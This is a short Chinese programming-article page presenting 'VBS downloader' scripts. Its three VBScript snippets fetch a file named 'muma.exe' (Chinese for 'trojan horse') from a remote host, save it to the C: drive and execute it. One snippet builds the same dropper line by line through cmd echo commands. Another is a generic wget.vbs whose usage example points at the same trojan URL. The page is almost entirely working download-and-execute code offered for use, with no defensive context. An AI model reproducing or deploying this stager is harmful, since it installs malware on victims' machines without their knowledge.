VBS下载者(通过vbscript实现文件下载)
程序员文章站
2022-03-21 16:43:47
一、vbs下载者:
复制代码 代码如下:set post = createobject("msxml2.xmlhttp")set shell = createobject...
一、vbs下载者:
复制代码 代码如下:
set post = createobject("msxml2.xmlhttp")
set shell = createobject("wscript.shell")
post.open "get","http://www.jbzj.com/muma.exe",0
post.send()
set aget = createobject("adodb.stream")
aget.mode = 3
aget.type = 1
aget.open()
aget.write(post.responsebody)
aget.savetofile "c:\zl.exe",2
wscript.sleep 1000
shell.run ("c:\zl.exe") '延迟过后执行下载文件
二、cmd下执行的版本:
复制代码 代码如下:
echo set post = createobject("msxml2.xmlhttp") >>zl.vbs
echo set shell = createobject("wscript.shell") >>zl.vbs
echo post.open "get","http://www.jbzj.com/muma.exe",0 >>zl.vbs
echo post.send() >>zl.vbs
echo set aget = createobject("adodb.stream") >>zl.vbs
echo aget.mode = 3 >>zl.vbs
echo aget.type = 1 >>zl.vbs
echo aget.open() >>zl.vbs
echo aget.write(post.responsebody) >>zl.vbs
echo aget.savetofile "c:\zl.exe",2 >>zl.vbs
echo wscript.sleep 1000 >>zl.vbs
echo shell.run ("c:\zl.exe") >>zl.vbs
三、wget.vbs
复制代码 代码如下:
on error resume next
ilocal=lcase(wscript.arguments(1))
iremote=lcase(wscript.arguments(0))
iuser=lcase(wscript.arguments(2))
ipass=lcase(wscript.arguments(3))
set xpost=createobject("microsoft.xmlhttp")
if iuser="" and ipass="" then
xpost.open "get",iremote,0
else
xpost.open "get",iremote,0,iuser,ipass
end if
xpost.send()
set sget=createobject("adodb.stream")
sget.mode=3
sget.type=1
sget.open()
sget.write xpost.responsebody
sget.savetofile ilocal,2
使用方法:cscript wget.vbs http://www.jbzj.com/muma.exe